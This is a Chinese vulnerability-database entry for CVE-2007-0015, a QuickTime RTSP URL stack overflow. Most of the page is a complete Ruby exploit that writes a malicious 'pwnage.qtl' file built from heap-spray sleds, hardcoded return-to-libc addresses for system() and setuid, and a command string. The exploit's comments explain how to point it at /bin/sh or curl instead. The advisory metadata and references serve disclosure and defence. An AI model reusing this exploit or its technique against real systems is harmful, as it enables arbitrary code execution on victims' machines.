Apple Quicktime RTSP畸形URL处理缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111920 漏洞类型 缓冲区溢出
发布时间 2007-01-01 更新时间 2007-11-15
CVE编号 CVE-2007-0015 CNNVD-ID CNNVD-200701-001
漏洞平台 Multiple CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/3064
https://www.securityfocus.com/bid/21829
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-001
|漏洞详情
AppleQuickTime是一款流行的多媒体播放器,支持多种媒体格式。AppleQuickTime在处理畸形的RTSP协议URL时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。AppleQuickTime在处理带超长"src"参数的RTSP协议的URL串时存在栈缓冲区溢出漏洞,远程攻击者可以通过构造类似"rtsp://[anycharacter]:[>256bytes]"的URL串诱使用户点击,系统调用QuickTime处理时导致溢出发生,执行攻击者的任意指令。
|漏洞EXP
#!/usr/bin/ruby
# Copyright (c) LMH <lmh [at] info-pull.com>
#               Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Notes:
# Our command string is loaded on memory at a static address normally,
# but this depends on execution method and the string length. The address set in this exploit will
# be likely successful if we open the resulting QTL file directly, without having an
# instance of Quicktime running. Although, when using another method and string, you'll need
# to find the address.
# For 100% reliable exploitation you can always use the /bin/sh address,
# but that's not as a cool as having your box welcoming the new year.
# Do whatever you prefer. That said, enjoy.
# 
# see http://projects.info-pull.com/moab/MOAB-01-01-2007.html

# Command string: Use whatever you like.
# Remember that changing this will also need a change of the target address for system(),
# unless string length is the same.
CMD_STRING  = "/usr/bin/say Happy new year shit bag"

# Mac OS X 10.4.8 (8L2127)
EBP_ADDR    = 0xdeadbabe
SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
SETUID_ADDR = 0x900334f0
CURL_ADDR   = 0x916c24bc # /usr/bin/curl
SHELL_ADDR  = 0x918bef3a # /bin/sh
CMDSTR_ADDR = [
                SHELL_ADDR, # 0 addr to static /bin/sh     (lame)
                0x17a053c, # 1 addr to our command string (cool) :> (change as necessary)
                0xbabeface, # 2 bogus addr for testing.
                CURL_ADDR   # 3 addr to '/usr/bin/curl'
              ]

# Payload
HAPPY = ("A" * 299) +
        [EBP_ADDR].pack("V")    +
        [SYSTEM_ADDR].pack("V") +
        [SETUID_ADDR].pack("V") +
        [CMDSTR_ADDR[1]].pack("V")  # change array index for using diff. addr

# Sleds: not necessary if using /bin/bash addr or other built-in addresses.
# although, for using our own fu, we need to spray some data for better reliability
# the goal is causing allocation of large heap chunks
NEW   = ("\x90" * 30000) + CMD_STRING   # feed the heap
YEAR  = ("\x90" * 30000) + CMD_STRING   # go johnny, go
APPLE = ("\x90" * 30000) + "EOOM"       # feed the heap more
BOYZ  = ("\x90" * 30000) + "FOOM"       # and more

# QTL output template
QTL_CONTENT = "<?xml version=\"1.0\"?>" +
              "<?quicktime type=\"application/x-quicktime-media-link\"?>" +
              "<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
              "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
              "src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"

target_file = File.open("pwnage.qtl", "w+") { |f|
  f.print(QTL_CONTENT)
  f.close
}

# milw0rm.com [2007-01-01]
|受影响的产品
Apple QuickTime Player 7.1.3 Apple QuickTime Player 7.0.4
|参考资料

来源:US-CERT
名称:VU#442497
链接:http://www.kb.cert.org/vuls/id/442497
来源:US-CERT
名称:TA07-005A
链接:http://www.us-cert.gov/cas/techalerts/TA07-005A.html
来源:XF
名称:quicktime-rtsp-url-bo(31203)
链接:http://xforce.iss.net/xforce/xfdb/31203
来源:VUPEN
名称:ADV-2007-0001
链接:http://www.frsirt.com/english/advisories/2007/0001
来源:SECUNIA
名称:23540
链接:http://secunia.com/advisories/23540
来源:BID
名称:21829
链接:http://www.securityfocus.com/bid/21829
来源:MILW0RM
名称:3064
链接:http://www.milw0rm.com/exploits/3064
来源:SECTRACK
名称:1017461
链接:http://securitytracker.com/id?1017461
来源:MISC
链接:http://projects.info-pull.com/moab/MOAB-01-01-2007.html
来源:MISC
链接:http://landonf.bikemonkey.org/code/macosx/MOAB_Day_1.20070102060815.15950.zadder.local.html
来源:OSVDB
名称:31023
链接:http://www.osvdb.org/31023
来源:MISC
链接:http://secunia.com/blog/7/
来源:MILW0RM
名称:3064
链接:http://milw0rm.com/exploits/3064
来源:APPLE
名称:APPLE-SA-2007-01-23
链接:http://lists.apple.com/archives/Security-announce/2007/Jan/msg00000.html
来源:MISC
链接:http://isc.sans.org/dia